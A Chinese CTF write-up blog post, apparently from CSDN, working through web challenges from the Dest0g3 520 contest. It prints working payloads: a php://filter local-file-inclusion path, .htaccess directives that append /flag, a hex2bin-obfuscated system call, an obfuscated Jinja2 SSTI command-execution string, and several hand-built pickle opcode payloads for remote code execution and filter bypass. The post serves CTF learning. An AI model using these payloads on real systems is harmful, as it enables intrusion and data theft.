Dest0g3 520迎新赛复现(思路演练)

web

        phpdest

一道trick题目,想着学那么久来新生赛试试手,结果第一题不会了,还好是个trick题目

利用

这里很重要加深复习了三个知识点:

1.为什么使用base64加密读取?

之前一直不明白以为是有字符问题,其实是因为如果不加密读取就会执行代码那就看不到了,不过利用这点想到一个问题,是不是可以利用这一点读取进行执行来出题目?但这前提就是原文件不是php文件或者无执行权限,如何出还没想过,可能出题目也较为普通

2.为什么/proc/self/root多次使用就可以绕过

/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,通过这一点意思就是无数个/,再因为多个能绕晕...具体代码也没有去深究(跟第三点有关)。

专门去测试了一下包含时前面用多个/是不影响读取的。

想到一个出题点就是preg一个不允许单个/的出现,但多个/可以,不过这里前面的php协议就要和后半段分开来输入才能实现这个,都是我自己的想法可能没什么含金量哈哈

3.为什么不能直接输入flag.php,因为上文已经有include('flag.php')已经包含过,下面require就不能了

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

还在测试的过程中发现不能包含自身会一直循环包含导致死机,这就是第一点导致的。

非预期解

        看了别的师傅wp发现这个还有新的解法就是本题没有去掉/var/log/nginx/access.log

日志包含其实一般刚学用的还挺多的。

来个拓展

<?php
    $path=$_GET['path'];
    include($path . '/phpinfo.php');
?>
​

包含自己的就可以

如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.3.4,不适用。

还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:

EasyPHP

利用报错设置,data函数的

  • d - 代表月中的天 (01 - 31)

  • m - 代表月 (01 - 12)

  • Y - 代表年 (四位数)

  • H - 小时 00-23

  • i ——分钟数

这几个都不能实现绕过,所以就是报错,用数组就可以报错,这题让我想到了SICTF的oysterphp题目里面我一度想用数组绕过,发现会系统报错所以印象深刻,当然那后来使用prec回溯。

set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);

SimpleRCE

又一次复习一下那些比较偏的绕过

网上的脚本一直躺着pharm里面,总算用上了,还是要常被,自己写还是有点费脑了

1.取反

2.异或

AddType application/x-httpd-php png
php_value auto_append_file /flag

呃刚去看了下,好像很简单的,就是把原本的命令先进行取反再url编码一下再取反就可以了。

还有就是hex2bin绕过的也不错更为易懂

hex2bin('73797374656d')(hex2bin('636174202f666c6167'));

这一次的笔记就是巩固+深究一下当初那些一把梭的脚本实际的运用和理解。

funny_upload

.htaccess

就是更改解析设置了

AddType application/x-httpd-php png
php_value auto_append_file /flag

EasySSTI

过滤了" ' class request

payload

当然不要自己构造了,除非你是大佬,我是脚本小子。。。。

{{((lipsum|attr(lipsum|escape|batch(22)|list|first|last*2+dict(slabolg=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2)|attr(lipsum|escape|batch(22)|list|first|last*2+dict(metiteg=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2)(lipsum|escape|batch(22)|list|first|last*2+dict(snitliub=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2)|attr(lipsum|escape|batch(22)|list|first|last*2+dict(metiteg=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2)(lipsum|escape|batch(22)|list|first|last*2+dict(tropmi=x)|first|reverse+lipsum|escape|batch(22)|list|first|last*2))(dict(so=x)|first|reverse)|attr((lipsum()|urlencode|first+dict(c=x)|join)*5%(112,111,112,101,110)))((lipsum()|urlencode|first+dict(c=x)|join)*7%(99,97,116,32,47,102,42))|attr(dict(daer=x)|first|reverse)()}}  

        

middle

这是一道pickle序列化题目

借此机会我进行详细的学习和讲解

pickle的构造大致分成两种:

1.自己手写

cos
system #引入 os 模块的 system 方法,这里实际上是一步将函数添加到 stack 的操作
(S'ls /' # 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
​    # R 的内容就成为了 system(*('ls /',)) ,然后 . 代表结束,返回当前栈顶元素
<=> __import__('os').system(*('ls /',))

实现成功

2.利用 pickle 的 __reduce__ 可以直接用它的操作模式实现我们上面手搓的 __import__('os').system(*('ls',)) 的构造。( 缺点:只能执行单一的函数,很难构造复杂的操作 )

成功

现在ctf的比赛都在变难,所以最基本的pick序列化可能不怎么够用了,所以大多要第一种需要绕过默写特定指令

只能用内置builtins

opcode=b'''cbuiltins
getattr
p0                    #取到 getattr
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2                  # getattr(dict, 'get')
00g1
(g2
S'__builtins__'       # get(__import__('builtins').globals(), '__builtins__')
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")'    # 取到 eval 然后实现 RCE
tR.
'''

R指令绕过

import pickle
​
class Person:
    def __init__(self,age):
        self.age=age
​
​
opcode=b'''(c__main__
Person
I18
o}(S"__setstate__"
cos
system
ubS"calc"
b.'''
​
p=pickle.loads(opcode)

python内置函数 可绕i,b,R,o

import pickle
opcode=b'''c__builtin__
map //filter
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes //tuple
p4
(g3
t\x81.'''
​
pickle.loads(opcode)

敏感字符 bypass

S

S 操作码本身是 String ,是支持十六进制的识别的

S'flag' => S'\x66\x6c\x61\x67'
S'flag' => V'\u0066\u006C\u0061\u0067'
不用单引号-0(V\u0077\u0068\u006f\u0061\u006d\u0069

用原本函数

b'''(cconfig
backdoor
(S'__import__("os").popen("cat /flag.txt").read()'
lo.'''
​
/**
* 复制并使用代码请注明引用出处哦~
* Lazzaro @ https://lazzzaro.github.io
*/

至于这题其实并没有那么复杂

主要用到了里面自己的函数需要

所以构造一下就可以了

(cconfig
backdoor
(V\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0022\u006f\u0073\u0022\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0022\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074\u0022\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029
lo.
KGNjb25maWcKYmFja2Rvb3IKKFZcdTAwNWZcdTAwNWZcdTAwNjlcdTAwNmRcdTAwNzBcdTAwNmZcdTAwNzJcdTAwNzRcdTAwNWZcdTAwNWZcdTAwMjhcdTAwMjJcdTAwNmZcdTAwNzNcdTAwMjJcdTAwMjlcdTAwMmVcdTAwNzBcdTAwNmZcdTAwNzBcdTAwNjVcdTAwNmVcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNjFcdTAwNzRcdTAwMjBcdTAwMmZcdTAwNjZcdTAwNmNcdTAwNjFcdTAwNjdcdTAwMmVcdTAwNzRcdTAwNzhcdTAwNzRcdTAwMjJcdTAwMjlcdTAwMmVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwMjhcdTAwMjkKbG8u

再编码上传即可

持续ing更新中。。。

  • 18
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值